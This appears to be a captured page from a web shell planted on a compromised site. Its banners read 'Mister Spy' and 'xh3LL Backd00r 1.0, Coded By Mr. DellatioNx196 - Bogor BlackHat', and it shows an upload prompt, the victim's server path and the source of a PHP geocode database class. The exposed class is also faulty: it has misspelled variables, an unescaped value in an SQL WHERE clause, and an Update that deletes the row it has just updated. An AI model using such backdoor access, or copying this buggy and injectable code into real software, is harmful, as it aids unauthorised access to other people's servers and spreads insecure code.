Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/web/library/
Upload File :
Current File : /home/caballoscriollos/www/web/library/class.geocodes.php

<?php
require_once('class.db.php');
require_once('class.dbaccess.php');
require_once('class.page.php');
require_once('class.geocode.php');

class GeoCodes extends DBAccess
{
		
	public function GetByAddress($Address)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblGeoCodes";
		$sql.= " WHERE Address = " . DB::String($Address);	
			
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if (!($oRow = $oRes->GetRow()))
			return false;
		
		$oGeoCode = new GeoCode();
		$oGeoCode->ParseFromArray($oRow);
		
		return $oGeoCode;		
	}


	public function GetCountRows(array $filter = NULL)
	{
		$sql = " SELECT u.*";
		$sql.= " FROM tblUsuarios u";
		$sql.= " LEFT JOIN tblPaises pa ON u.IdPais = pa.IdPais";
		$sql.= " LEFT JOIN tblProvincias p ON u.IdProvincia = p.IdProvincia";
		$sql.= " LEFT JOIN tblUsuarioGrupos ug ON u.IdUsuario = ug.IdUsuario";
		$sql.= " LEFT JOIN tblGrupos g ON ug.IdGrupo = g.IdGrupo";
		$sql.= " WHERE 1";

		if ($filter)
			$sql.= " " . $this->ParseFilter($filter);

		$sql.= " GROUP BY u.IdUsuario";
		$sql.= " ORDER BY u.Apellido, u.Nombre";

		if (!($oRes = $this->GetQuery($sql)))
			return false;
		
		$CountRows = $oRes->NumRows();
		
		return $CountRows;
	}
	
	
	public function Create(GeoCode $oGeoCode)
	{
	
		/* inicia una transaccion */
		if (!DBAccess::$db->Begin())
			return false;
	
		$arr = array
		(
			'Address'			=> DB::String($oGeoCode->Address),
			'Lon'				=> DB::Number($oGeoCode->Lon),
			'Lat'				=> DB::Number($oGeoCode->Lat)
		);

		if (!DBAccess::Insert('tblGeoCodes', $arr))
		{
			DBAccess::$db->Rollback();	
			return false;
		}			

		/* finaliza la transaccion */
		DBAccess::$db->Commit();
			
		return $oGeoCode;
	}
	
	
	public function Update(GeoCode $oGeoCode)
	{
	
		/* inicia una transaccion */
		if (!DBAccess::$db->Begin())
			return false;
		
		$arr = array
		(
			'Address'			=> DB::String($oGeoCode->Address),
			'Lon'				=> DB::Number($oGeoCode->Lon),
			'Lat'				=> DB::Number($oGeoCode->Lat)
		);

		$where = " Address = " . $oGeoCodeo->Address;
		
		if (!DBAccess::UpdateEntidad('tblGeoCodes', $arr, $where))
		{
			DBAccess::$db->Rollback();	
			return false;
		}			

		/* elimina los grupos asignados anteriormente */
		if (!DBAccess::DeleteEntidad('tblGeoCodes', $where))
		{
			DBAccess::$db->Rollback();
			return false;
		}			
		
		/* finaliza la transaccion */
		DBAccess::$db->Commit();
		
		return $oGeoCodeo;
	}	
	
	public function Delete($Address)
	{
		if (!DBAccess::$db->Begin())
			return false;
			
		$where = " Address = " . DB::String($Address);
		if (!DBAccess::DeleteEntidad('tblGeoCodes', $where))
		{
				DBAccess::$db->Rollback();	
				return false;
		}
		
		DBAccess::$db->Commit();
		
		return true;	
	}	


}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat